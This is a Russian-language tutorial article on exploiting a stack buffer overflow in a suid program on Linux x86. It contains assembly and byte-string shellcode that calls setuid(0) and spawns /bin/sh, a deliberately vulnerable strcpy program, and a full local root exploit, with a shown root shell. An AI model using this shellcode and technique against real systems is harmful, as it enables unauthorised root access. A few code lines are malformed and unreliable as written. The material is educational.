Архив статей

Все статьи из текущего раздела

Переполнение буфера в стеке. Шествие второе

Из предыдущей части статьи ты узнал, что же собой представляет переполнение в стеке и каким образом оно получается. Узнал, что такое регистры, инструкции и весь необходимый теоретический минимум. Сегодня же мы займемся непосредственно реализацией. Делать это будем под linux на x86-ом процессоре. Но сначала немного теории.

Атрибуты файлов


Все файлы в любом unix имеют помимо прав доступа (комбинации г, w, x) еще и атрибуты: sticky bit, suid/sgid и блокирование.

sticky bit - в современных осях практически не используется, но раньше юзался для уменьшения времени загрузки наиболее часто запускаемых программ. Механизм действия таков: после завершения программы ее образ остается в памяти, и последующие запуски программы производятся быстрее.

suid/sgid - это то, что нас больше всего интересует. Эти атрибуты (или флаги) позволяют менять привилегии с текущего пользователя на владельца файла. Например, у тебя есть некая программа, на которой стоит SUID-флаг, владелец и группа файла - root. Если пользователь запустит такую программу, то процесс будет работать с правами рута. Интересно еще и то, что процессы, порожденные из такого "суидного" файла, также наследуют рута. И что же получается? А то, что если переполняется буфер в стеке суидной программы, то, в принципе, ты можешь сделать нечто незапланированное в программе на root-уровне.

Третий атрибут - блокирование. Он позволяет устранить проблему возникновения конфликтов в том случае, когда с данным файлом работают несколько задач одновременно.

Из всех атрибутов в нашем случае важны suid/sgid. Почему? Потому что ты можешь, находясь в пользовательском процессе, юзать переполнение в стеке любой суидной программы и получить, скажем, новый шелл, но уже с root-привилегиями. Вот именно для этого и пишутся специальные куски кода, которые делают такие вещи.

Shellcode


Что такое shellcode? Это код, выдающий шелл. Написан он будет в машинных кодах. Почему именно так? Во-первых, наши переполнения базируются на организации стека и регистрах. А там только байты и машинные коды. Самый простой (и распространенный) способ создания шеллкода - написание его на ассемблере, а потом перевод в машинный код (к примеру, objdump`ом). Шелл, в понимании unix, дают программы /bin/sh, /bin/ksh, /bin/bash и другие. Т.е. все, что тебе нужно - запустить /bin/sh на ассемблере. Ассемблеров под unix много, но мы возьмем стандартный "as" с at&t-синтаксисом.

At&T-синтаксис кардинально отличается от intel`овского (tasm/nasm/masm). Вот основные нюансы:

Перед регистрами всегда ставится знак `%` (%ebp,%eax).

Перед непосредственными операндами символ `$` (push $1).

Директивы всегда начинаются с точки (.text,.data).

Если после каких-то символов стоит двоеточие, то это означает метку (как и в intel).

К командам, имеющим операнды, добавляются такие суффиксы:

суффикс описание пример

b байт movb $1,%al

w 2 байта movw $1,%eax

l 4 байта movl $0xbfffffff,%eax

Это три наиболее часто используемых суффикса (есть еще и s, t, q и т.д.). Сама ассемблерная программа должна начинаться с метки _start. В отличие от intel-ассемблеров, метка end не нужна:

.globl _start // делаем _start метку видимой для линковщика (глобальной)

_start: // начало программы

Ассемблирование программ крайне простое:

# as prog.s -o prog.o

После этого линковка и создание исполнимого модуля:

# ld prog.o -o prog

Для того чтобы написать свой шеллкод, необходимо знать, что существуют различные системные вызовы. Это некие услуги ядра, которые предоставляются пользовательскому процессу. Вызовов этих достаточно много (более 200 под linux), и все они определены в /usr/include/asm/unistd.h:

[bof]# head -n 20 /usr/include/asm/unistd.h

#ifndef _ASM_I386_UNISTD_H_

#define _ASM_I386_UNISTD_H_

/*

* This file contains the system call numbers.

*/

#define __NR_exit 1

#define __NR_fork 2

#define __NR_read 3

#define __NR_write 4

#define __NR_open 5

#define __NR_close 6

#define __NR_waitpid 7

#define __NR_creat 8

#define __NR_link 9

#define __NR_unlink 10

#define __NR_execve 11 - вот и execve

#define __NR_chdir 12

#define __NR_time 13

#define __NR_mknod 14

#define __NR_chmod 15

#define __NR_lchown 16

#define __NR_break 17

#define __NR_oldstat 18

#define __NR_lseek 19

#define __NR_getpid 20

#define __NR_mount 21

#define __NR_umount 22

#define __NR_setuid 23

#define __NR_getuid 24

#define __NR_stime 25

#define __NR_ptrace 26

... и так далее ...

[bof]#


Формат работы с системными вызовами на ассемблере достаточно прост. В необходимые регистры заносятся нужные значения, а потом происходит обращение к 80-му прерыванию:

В регистры ebx, ecx, edx - аргументы системного вызова.

В регистр eax - номер системного вызова.

Например, системный вызов exit будет выглядеть так:

.globl _start

_start:

movl $1,%eax # номер системного вызова в eax

int $0x80 # вызов 80-го прерывания

Так как у exit нет аргументов, регистры ebx, ecx и edx не использовались. Теперь попробуем написать вызов execve (запустим /bin/sh). Для этого читаем man 2 execve и видим там, что для execve нужны 3 аргумента: NULL, NULL и имя запускаемой программы (в нашем случае /bin/sh). Для начала напишем такой вызов на С:

[bof]# cat >shellcode.c

#include

main()

{

char *shell[2]; // символьный буфер.

shell[0] = "/bin/sh"; // имя запускаемой программы.

shell[1] = NULL; // внешние переменные.

execve(shell[0], shell, NULL); // запускаем /bin/sh.

}

[bof]# gcc -static shellcode.c -o shellcode

[bof]# ./shellcode

sh-2.04# exit

exit

[bof]#

Теперь ты при желании можешь просто дизассемблировать функцию execve и посмотреть, как она работает (именно для этого и добавлен ключ -static). В случае отсутствия такого желания, разберем код на ассемблере:

.globl _start

_start:

xorl %eax,%eax # очищаем eax (получаем NULL)

pushl %eax # засунули в стек NULL

pushl $0x68732f2f # в стек символы: hs//

pushl $0x6e69622f # в стек символы: nib/

movl %esp,%ebx # адрес этих символов в ebx регистр

pushl %eax # засунули в стек еще NULL

pushl %ebx # и адрес по которому /bin/sh в стек

# теперь у нас в стеке лежат: NULL, NULL и адрес /bin/sh, а также адрес, по

# которому все это расположилось, копируем его в ecx

movl %esp,%ecx # вот здесь скопировали

.byte 0x99 # это инструкция cdql, но `as` ее не

# понимает, поэтому сразу написали в машинном коде

movb $0x0b,%al # ну и теперь номер вызова в al

int $0x80 # и делаем этот вызов

[bof]# as shellcode.s -o shellcode.o

[bof]# ld shellcode.o -o shellcode

[bof]# ./shellcode

sh-2.04# exit

exit

[bof]#

Итак, у тебя есть сорсы, которые дают шелл. И ты уже можешь использовать его в эксплоитах. Единственное, что необходимо сделать, перевести его в машинные коды. Это можно сделать objdump`ом, gdb или любым hex-редактором:

[bof]# objdump -D ./shellcode

./shellcode: file format elf32-i386

Disassembly of section .text:

08048074 <_start>:

8048074: 31 c0 xor %eax,%eax

8048076: 50 push %eax

8048077: 68 2f 2f 73 68 push $0x68732f2f

804807c: 68 2f 62 69 6e push $0x6e69622f

8048081: 89 e3 mov %esp,%ebx

8048083: 50 push %eax

8048084: 53 push %ebx

8048085: 89 e1 mov %esp,%ecx

8048087: 99 cltd

8048088: b0 0b mov $0xb,%al

804808a: cd 80 int $0x80

Disassembly of section .data:

[bof]#

Теперь перепишем все это в нормальный вид, в виде символьного буфера с добавлением setuid(0) вызова:

char shellcode[]= // - символьный буфер с шеллкодом

"\x33\xc0" /* xorl %eax,%eax */

"\x31\xdb" /* xorl %ebx,%ebx */

"\xb0\x17" /* movb $0x17,%al */ setuid

"\xcd\x80" /* int $0x80 */

"\x31\xc0" /* xorl %eax,%eax */

"\x50" /* pushl %eax */

"\x68""//sh" /* pushl $0x68732f2f */

"\x68""/bin" /* pushl $0x6e69622f */

"\x89\xe3" /* movl %esp,%ebx */

"\x50" /* pushl %eax */ execve

"\x53" /* pushl %ebx */

"\x89\xe1" /* movl %esp,%ecx */

"\x99" /* cdql */

"\xb0\x0b" /* movb $0x0b,%al */

"\xcd\x80"; /* int $0x80 */

Для того чтобы запущенный шелл получил root-привилегии, ты должен сделать в шеллкоде системный вызов setuid(0). То, что программа суидная, как раз и разрешает тебе делать такой вызов. В результате мы получили код, выполняющий setuid(0), а затем запуск execve(/bin/sh).

Итак, теперь у нас есть готовый шеллкод. И этот самый код мы будем впихивать при переполнении буфера в стеке. Т.е. мы сделаем следующее: регистр eip будет указывать не на какие-то левые адреса, а на адрес, по которому расположен наш шеллкод. И нетрудно догадаться, что если программа будет суидная, и ее владелец рут, то при удачном раскладе, ты и получишь эти желанные привилегии рута. А то, что мы сделаем, и будет называется "локальный root-эксплоит" :). Способов их написания довольно много, но я рассмотрю самый простой из них.

Эксплуатация переполнения


Итак, мы подошли к самому интересному. Ты теперь знаешь, что такое переполнение стека, какие файлы желательно переполнять. Ты знаешь, что такое шеллкод и как его написать. Остается одно - применить все это на практике.

Проблема всех эксплоитов, основанных на переполнении буфера, заключается в том, что мы часто не знаем адреса, который нужно положить в eip для вызова шеллкода. Самый простой выход из такой ситуации - статические адреса. Т.е. адреса, которые не меняются. В linux, при запуске файла, начиная с адреса 0xbfffffff и далее вниз, лежат такие данные:

0xbfffffff - первые 5 байт нули.

0xbffffffa - далее идет имя запускаемого файла.

И после этого идут внешние переменные (env).

Т.е. мы можем положить шеллкод как внешнюю переменную, отнять от 0xbfffffff четыре нуля, потом длину имени запускаемого файла и длину шеллкода. А потом получить адрес, по которому лежит этот самый шеллкод. Вот как это будет выглядеть:

нужный_адрес = 0xbfffffff - 5 - длина_имени_файла - длина_шеллкода

Так получается необходимый адрес. И теперь все, что нужно для создания эксплоита:

1. Положить шеллкод как внешнюю переменную.

2. Посчитать расположение шеллкода (т.е. узнать адрес).

3. Запустить файл так, чтобы буфер переполнился любым хламом, и в конце хлама был посчитанный адрес расположения шеллкода.

Т.е. буфер переполнится, в eip поместится адрес твоего шеллкода, выполнение, естественно, передастся на этот адрес, и произведутся желаемые действия. И как результат, ты получишь шелл. А чтобы шелл был рутовый, уязвимая программа должна иметь suid-флаг. Рассмотрим это на примере. Для этого напишем уязвимую программу с суид-флагом и эксплоит к ней. Возьмем все тот же пример из первой части статьи:

main (int argc, char *argv[]) // будем брать символы с командной строки

{

char little_buffer[4]; // сделаем буфер на 4 байта

strcpy(little_buffer,argv[1]);

}

/* strcpy является одной из функций, которая не заботится о том, с какими буферами */

/* она работает, т.е. не проверяет размеры копируемых данных */

[bof]# gcc vuln.c -o vuln

[bof]# ./vuln aaaaaaaabbbb

Segmentation fault

Уязвимая программа готова. Поставим ей suid-флаг, чтобы она запускалась с root-привилегиями:

[bof]# chmod +s vuln


Теперь напишем сам эксплоит. Структуру его написания я рассмотрел чуть выше, но нужно сказать, что мы используем функцию execle, которая является тем же execve, но позволяет запускать файл, используя в качестве аргументов внешние переменные (а это нам и нужно):

#include

char shellcode[]=

"\x33\xc0" /* xorl %eax,%eax */

"\x31\xdb" /* xorl %ebx,%ebx */

"\xb0\x17" /* movb $0x17,%al */

"\xcd\x80" /* int $0x80 */

"\x31\xc0" /* xorl %eax,%eax */

"\x50" /* pushl %eax */

"\x68""//sh" /* pushl $0x68732f2f */

"\x68""/bin" /* pushl $0x6e69622f */

"\x89\xe3" /* movl %esp,%ebx */

"\x50" /* pushl %eax */

"\x53" /* pushl %ebx */

"\x89\xe1" /* movl %esp,%ecx */

"\x99" /* cdql */

"\xb0\x0b" /* movb $0x0b,%al */

"\xcd\x80"; /* int $0x80 */

int main ()

{

// подготовим символьный буфер для внешней переменной, которая является твоим

// шеллкодом:

char *enva[2] = shellcode;

// теперь сделаем символьный буфер твоих переполняющих байт + нашего адреса. Он

// равен 12 байтам, т.к. 8 необходимо для переполнения и 9,10,11,12 байты лягут

// в eip (как раз наш адрес)

char buf[12];

// сделаем некое преобразование типов, чтобы далее было проще с засовыванием

// адреса твоего шеллкода в переполняющий буфер

int *ap = (int *)(buf);

// теперь посчитаем адрес нашего шеллкода, по которому этот шеллкод ляжет при

// использовании execle функции (она, в общем-то, и засунет шеллкод во внешнюю

// переменную)

int ret = 0xbfffffff - 5 - strlen(shellcode) - strlen("/bof/vuln");

// вот теперь положим полученный адрес в 9-й,10-й,11-й и 12-й байты буфера

int i;

for (i = 0 ; (i < 12) ;i +=4) // цикл с прибавлением по 4 байта

*ap++ = ret;

// и, наконец, последний штрих: мы запускаем уязвимую программу с нашим переполняющим

// буфером, содержащим в конце адрес шеллкода, и с нашей новой внешней переменной (этим

// самым шеллкодом)

execle("/bof/vuln","vuln",buf,NULL,enva);

}

Теперь откомпилим эксплоит и перезайдем под обычным пользователем:

[bof]# gcc exploit.c -o exploit

[bof]# su just_user

[just_user]$

И, наконец, запуск:

[just_user]$ /bof/exploit

sh-2.04# id

uid=0(root) gid=555(just_user)

Вот и финал! После долгих разговоров мы получили рута.

Разбор полетов


В этой статье мы рассмотрели класс уязвимостей, называемых переполнением буфера, и оценили все последствия, которые влечет за собой рассеянное программирование. В двух частях статьи я попытался дать максимальное количество информации. Возможно, в некоторые моменты нелегко вникнуть сразу: ищи документацию, читай и учись. Дальше хотелось бы осветить такие интересные проблемы, как ошибки форматных строк, переполнения bss-секций и heap, race condition и многое другое.

ci a.


Что стоит почитать:

Smashing The Stack For Fun And Profit by Aleph1.

Buffer Overflows Demystified.

Питер Абель. Программирование на ассемблере.